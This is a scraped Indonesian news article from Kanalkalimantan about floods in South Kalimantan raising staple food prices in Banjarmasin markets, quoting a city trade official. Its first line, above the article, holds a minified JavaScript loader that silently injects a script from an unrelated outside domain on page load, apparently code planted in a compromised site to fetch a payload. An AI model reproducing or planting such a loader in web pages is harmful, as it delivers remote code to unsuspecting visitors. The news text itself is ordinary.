(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Musibah banjir yang menimpa Kalimantan Selatan (Kalsel), berdampak kepada semua pihak. Tidak terlepas dari para pedagang bahan pokok di pasar-pasar tradisional.
Trisnowati Hapsari, Kasi Monitoring dan Pengendalian Pendaftaran Perusahaan, Barang dan Bahan Pokok Penting, Dinas Perindustrian dan Perdagangan (Disperindag) Kota Banjarmasin kepada Kanalkalimantan.com mengatakan, untuk beberapa bahan pokok memang mengalami kenaikan karena jumlah stok yang dikirim menurun dari biasanya, stok barang di pasaran lebih sedikit.
“Karena beberapa daerah distributor bahan pokok, seperti ayam itu dari daerah Banjarbaru, Batibati dan Pelaihari. Terdampak banjir, membuat beberapa titik jalan yang terputus, sehingga akses distribusinya menjadi terhambat,” ujarnya.
Selain itu juga, menurunnya stok barang yang didistribusikan, juga karena beberapa pasar di Banjarmasin belum bisa beroperasi normal. Sehingga dimanfaatkan beberapa pedagang untuk memainkan harga pasar.
Trisnowati Hapsari menambahkan, bahan pokok produksi lokal juga mengalami kenaikan cukup drastis, hingga dua kali lipat dari harga normal. Hal ini disebabkan karena beberapa sentra perkebunan di beberapa daerah di Kalsel terendam banjir, sehingga sulit mencari stok bahan pokok tersebut.
“Disamping jalur distribusi yang terhambat, daerah penghasil lokal yang kebanjiran ikut menjadi penyebab kenaikan harga pasar. Seperti kangkung yang biasanya cuma 2 ribu, naik menjadi 4 ribu sampai 5 ribu, begitu pula dengan sayur lainnya,” tambahnya.
Untuk beberapa bahan pokok yang berasal dari luar daerah, juga mengalami kenaikan, seperti tempe. Namun ini bukan karena disebabkan banjir, melainkan karena bahan baku sudah mengalami kenaikan labih dulu dari pihak distributor, sehingga saat masuk pasar harga bahan pokok juga mengalami kenaikan.
Disperindag Kota Banjarmasin sendiri masih belum bisa memperkirakan sampai kapan batas waktu lonjakan harga di pasaran. Terlebih lagi untuk bahan pokok hasil produksi lokal, karena faktor alam yang terjadi saat ini.
“Untuk mengatasi hal ini, kita berupaya mengamankan jalur distribusi baik dari luar daerah maupun dalam daerah. Dan juga akan memonitoring pihak distributor dan agen dipasar, agar tidak adanya permainan dalam harga bahan pokok dipasaran,” pungkasnya.(kanalkalimantan.com/tius)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.